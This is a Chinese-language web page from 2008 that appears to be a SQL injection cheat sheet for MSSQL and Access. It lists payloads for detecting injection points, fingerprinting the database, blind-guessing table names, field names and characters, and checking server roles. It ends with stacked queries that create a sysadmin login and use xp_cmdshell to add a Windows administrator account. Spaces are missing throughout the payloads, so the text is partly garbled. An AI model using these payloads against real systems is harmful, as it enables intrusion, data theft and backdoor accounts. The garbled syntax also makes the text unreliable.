SQL注入技巧资料大全
2008-10-27 16:51:24 来源:WEB开发网1.判断是否有注入
;and1=1
;and1=2
2.初步判断是否是mssql
;anduser>0
3.判断数据库系统
;and(selectcount(*)fromsysobjects)>0mssql
;and(selectcount(*)frommsysobjects)>0access
4.注入参数是字符
'and[查询条件]and''='
5.搜索时没过滤参数的
'and[查询条件]and'%25'='
6.猜数据库
;and(SelectCount(*)from[数据库名])>0
7.猜字段
;and(SelectCount(字段名)from数据库名)>0
8.猜字段中记录长度
;and(selecttop1len(字段名)from数据库名)>0
9.(1)猜字段的ascii值(access)
;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0
(2)猜字段的ascii值(mssql)
;and(selecttop1unicode(substring(字段名,1,1))from数据库名)>0
10.测试权限结构(mssql)
;and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('serveradmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('setupadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('diskadmin'));--
;and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--
;and1=(SELECTIS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;execmaster.dbo.sp_addloginusername;--
;execmaster.dbo.sp_passwordnull,
username,password;--
;execmaster.dbo.sp_addsrvrolemembersysadmin
username;--
;execmaster.dbo.xp_cmdshell'netuserusername
password/workstations:*/times:all
/passwordchg:yes/passwordreq:yes/active:yes/add'
;--
;execmaster.dbo.xp_cmdshell'netuserusername
password/add';--
;execmaster.dbo.xp_cmdshell'netlocalgroup
administratorsusername/add';--
赞助商链接